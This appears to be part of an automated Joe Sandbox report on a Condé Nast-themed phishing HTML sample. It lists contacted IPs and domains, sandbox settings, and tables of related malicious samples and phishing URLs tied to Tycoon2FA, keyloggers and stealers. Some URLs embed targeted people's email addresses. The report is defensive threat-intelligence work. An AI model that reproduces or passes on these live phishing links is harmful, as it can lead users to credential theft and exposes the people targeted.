https://a.nel.cloudflare.com/report/v4?s=lS8%2Feq8M7CN6B8GWR5poEYDTS0j3T1816tdkUMPRolPy5vltuU%2FT4GYe573xGbzcd9XtHFxF9Alud8WFRkn4KhJQLqA%2BHob3LqJKAGGde1Jjub5pVVxGo4FzzjdCaU82yCli	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.amazon.com	chromecache_144.1.dr	false	high
https://fontawesome.com/license/free	chromecache_139.1.dr	false	high
https://fontawesome.com	chromecache_139.1.dr	false	high
https://github.com/fent)	chromecache_138.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.112.4	github.com	United States	36459	GITHUBUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
104.21.92.165	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.196.11	4eta8m.ajcffp.ru	United States	13335	CLOUDFLARENETUS	false
23.44.201.164	a1400.dscb.akamai.net	United States	20940	AKAMAI-ASN1EU	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.96.1	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.11	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
52.85.61.72	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.160.100	cac4hxpznnk8pam04abnxrqhgbjs9l49hxgfwvjsbrneonbhvxurhxdgrr.magnusxw.es	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	mgdm.icemiceop.ru	United States	13335	CLOUDFLARENETUS	true
18.164.124.96	unknown	United States	3	MIT-GATEWAYSUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.66.134	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.65.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
52.85.61.3	d3kq2ee0uikr7z.cloudfront.net	United States	16509	AMAZON-02US	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.9
192.168.2.4
192.168.2.23
192.168.2.13

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1650162
Start date and time:	2025-03-27 14:32:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Recorded_VM Condenast .html
Detection:	MAL
Classification:	mal100.phis.evad.winHTML@25/103@42/26
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.176.206, 142.251.32.99, 172.253.62.84, 142.250.80.46, 208.89.73.23, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.251.40.195, 20.109.210.53, 23.9.183.29
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.112.4	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	Get hash	malicious	Quasar	Browse
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse
	D7OJvb6912.exe	Get hash	malicious	PureLog Stealer, Xmrig	Browse
	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nz.freshmnind.ru/E9nFcFhuAwW2u/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.18.94.41	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse
	https://force-page-8012.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse
	https://digstudio.sharefile.com/public/share/web-sf9877201d645406b84b8dca7035ef0a9	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://14qingchu.top	Get hash	malicious	HTMLPhisher	Browse
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse
	http://npu.gov.ua	Get hash	malicious	Unknown	Browse
	https://www.google.at/url?q=https%3A%2F%2Fsites.google.com%2Fview%2Fgfyhgfdgd%2Fhome&sa=D&sntz=1&usg=AOvVaw2V-B7GR4_wvs2FgIKvg5nY	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250326Sb0JUtZm	Get hash	malicious	HTMLPhisher	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json
104.21.92.165	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:dd1dc65d-ce42-4138-a001-66d6a6601091	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Helenaagri profit_sharing_plan.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:ed356bc9-bf5a-442b-8177-cf362f34cfc8	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://protect.checkpoint.com/v2/r02/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDcqg1KugH/rhrqqgrWni2pyg1KugH/og75AgMRA37Cu37x!i2GzU2ZBRIJzYIFyRp4R0KWU0rWugMmJiYWAVpWKV1K4i6V8hIZ5SM0ZiLWEW1OmR5/DRLcQX0iG12ODR6m0Z2uCX54XhMGr31/03pyTfZ6rYZi~XpqUQYOHR1KUiJS11Z/0T2qVjY4XRZcYgpc9i5uJWYR7g20EjL0/YM46gJCqg7mLRrm6jJc4gn5DVr69X0OQV6WNfKt6Z1h7XJOYhqWIX20v3pR/S20XfZm6f1WH4qtBZKWOY6Wx4rKpZ0Onh80BSLOY4Mh83r/3ZsWx36GrQYOHS2SniIWZV507V1OzioqTfo0xY7S5jJhCSsiRhLiZZI4L35OUYZm~hJ/~js4tfpuWh5qOiIJ9fMm8gK0CTM04fsiv4555ipVyRpOyTY0xjK0AT1mQYYOfW5uUS842iqiCjr4qXIJ73o0Sg80RRoqYjI0~j0uN1qiWWpmz3sJBS6Z701OyRrSBfH5DWpWo3oSC02OW1JKCi5/DRsSt4KS/RImw1KZyRp49hsi~f6uZRsioj2uZR2mUg0KsQYOHiEK6RJ0/W8SoQYOHXZuJSoGRTMqP3rS2gr/t01xD4MF70sSmSLOOZ64Xh1/fi7bCW6G9f5OMVsGNgYW8XIqsSMq~TJR8RJxBgKq0XE09hr/5jqmJZ6mxR2STVryCZpC3WrcNf0JESsVDZM35QYOLRs0GRZc44pm4jYKUQYOLfM0xZ2W8X8iMf04SQYOLWIG7jpOt2EWBf1mNj1iTZ5NBhoqX4qhB4IV5Y5W7QYOHZZ/zgLb60KGB4sOxWZyqWqKnj1u01pWE3YOEiJms1MhB08uJjLiDZZBC00WSjMmq1ImDX6mPVYS0X0KYZ7yL4sKD3oGL4Jh912KMW2FDY0tBYEVE315DYZ65XZ4uTZiKXYixi6SOS5VDSZC5WsmSfKG5R53BjL6xfEKwSKuG12SX0KGAZ8W7R5WBSLl812iWf1Kq3r0vTLqHX5/LR50UWZ06TYKNRrcVd~FG88JcGJ/FGF88986aFHbKbb/JIIK/89KHGK8IHaG/I8KIcbba6c7cKI68GGKI7?h=6&fru;n=6&fru;ithx=6___.YzJlOmdhbmdzdGVyOmM6bzpiMTVjN2QxOWQyYmUwNTY1NzUzNWNiMjU5MjdlZDQxYTo3OjBjYTc6YjUxOGI0N2MzNmJhYjUzNGU2MzNkZWE3MDBkNGExYmIwNzljNzhmMDU2MmNkNzkwZDBhMjM3MDE5NjU0YTZkNTpoOlQ6VA	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	#U25b6#Ufe0fPLAY-VOICMAIL(2).svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	EXTERNAL Cash Flow Analysis Final Review Needed Before Submission.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.heptabase.com/w/9572b61a878f03208943512867a816847d4d23b4f7ccb0a7fe97bab5d1ad7da7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://steam-workshop.vip/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d3kq2ee0uikr7z.cloudfront.net	https://www.google.ca/url?b21dp0=https://www.reillyreevesandhorton.edu&TA=DQ&TA=5E&bg=OW&TA=E7&TA=TV&q=%2561%256d%2570%2F%2568%256D%2539%2569%2531%2539%252E%2564%2565%256B%2563%2568%256F%2562%2574%2569%2565%2577%252E%2563%256F%256D%252F%2566%2569%256E%2561%256E%2563%2565%2540%2563%256F%256E%2564%2565%256E%2561%2573%2574%252E%2563%256F%256D&opdg=NTk&NXk=Zng&Q1k=R0g	Get hash	malicious	HTMLPhisher	Browse	18.245.46.64
	https://condenast.slack.com/archives/D032SE00KMJ/p1696232683272469	Get hash	malicious	HTMLPhisher	Browse	3.162.112.48
	http://www.condecelebrates.com/	Get hash	malicious	HTMLPhisher	Browse	18.66.248.77
	http://condenast-hub-okta-emea-7d5ea512.aibels.com/	Get hash	malicious	Unknown	Browse	143.204.89.41
cdnjs.cloudflare.com	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://drive.google.com/file/d/1kIqioNl6vquOfrP8Bzo4IjVC1rv_7tzf/view	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://myformview24.click/jmgbpoxb	Get hash	malicious	Unknown	Browse	104.17.24.14
	Bern DUE INVOICE & SOA.SHTM	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Presentation Of Legal Notice.pptx	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse	104.17.24.14
	G00gle_Wordspace2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
code.jquery.com	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://drive.google.com/file/d/1kIqioNl6vquOfrP8Bzo4IjVC1rv_7tzf/view	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Bern DUE INVOICE & SOA.SHTM	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse	151.101.66.137
	G00gle_Wordspace2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	34271QB_EFT_Payment_Statemt02.svg	Get hash	malicious	Invisible JS	Browse	151.101.2.137
	34271QB_EFT_Payment_Statemt02.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
challenges.cloudflare.com	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.95.41
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://force-page-8012.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://digstudio.sharefile.com/public/share/web-sf9877201d645406b84b8dca7035ef0a9	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.94.41
	https://14qingchu.top	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.18.94.41
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	http://npu.gov.ua	Get hash	malicious	Unknown	Browse	104.18.95.41
github.com	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	SecuriteInfo.com.FileRepMalware.9150.5343.exe	Get hash	malicious	Python Stealer, MicroClip, Xmrig	Browse	140.82.113.4
	Nationalmi_receipt0291.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://digstudio.sharefile.com/public/share/web-sf9877201d645406b84b8dca7035ef0a9	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	Get hash	malicious	Quasar	Browse	140.82.112.4
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	D7OJvb6912.exe	Get hash	malicious	PureLog Stealer, Xmrig	Browse	140.82.112.4
	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	SecuriteInfo.com.FileRepMalware.9150.5343.exe	Get hash	malicious	Python Stealer, MicroClip, Xmrig	Browse	140.82.113.4
	Nationalmi_receipt0291.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://digstudio.sharefile.com/public/share/web-sf9877201d645406b84b8dca7035ef0a9	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	Get hash	malicious	Quasar	Browse	140.82.112.4
	SecuriteInfo.com.Trojan.Siggen30.61739.8488.24595.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	D7OJvb6912.exe	Get hash	malicious	PureLog Stealer, Xmrig	Browse	140.82.112.4
	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.4
CLOUDFLARENETUS	https://www.transfernow.net/dl/20250325kZqYjGlX	Get hash	malicious	Unknown	Browse	104.26.15.166
	0QI6qP3Fxm.exe	Get hash	malicious	Unknown	Browse	1.0.0.1
	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	rwilsss.exe	Get hash	malicious	FormBook	Browse	172.64.80.1
	LTool.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.20.4.235
	order452000739355.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.22.50.245
	Transferencia.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
CLOUDFLARENETUS	https://www.transfernow.net/dl/20250325kZqYjGlX	Get hash	malicious	Unknown	Browse	104.26.15.166
	0QI6qP3Fxm.exe	Get hash	malicious	Unknown	Browse	1.0.0.1
	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	rwilsss.exe	Get hash	malicious	FormBook	Browse	172.64.80.1
	LTool.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.20.4.235
	order452000739355.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.22.50.245
	Transferencia.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
CLOUDFLARENETUS	https://www.transfernow.net/dl/20250325kZqYjGlX	Get hash	malicious	Unknown	Browse	104.26.15.166
	0QI6qP3Fxm.exe	Get hash	malicious	Unknown	Browse	1.0.0.1
	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	rwilsss.exe	Get hash	malicious	FormBook	Browse	172.64.80.1
	LTool.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.20.4.235
	order452000739355.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.22.50.245
	Transferencia.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
CLOUDFLARENETUS	https://www.transfernow.net/dl/20250325kZqYjGlX	Get hash	malicious	Unknown	Browse	104.26.15.166
	0QI6qP3Fxm.exe	Get hash	malicious	Unknown	Browse	1.0.0.1
	Julie.randall_0009641.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	rwilsss.exe	Get hash	malicious	FormBook	Browse	172.64.80.1
	LTool.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.20.4.235
	order452000739355.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://www.powr.io/form-builder/i/39350637#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.22.50.245
	Transferencia.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://mgdm.icemiceop.ru/GDSherpa-regular.woff2
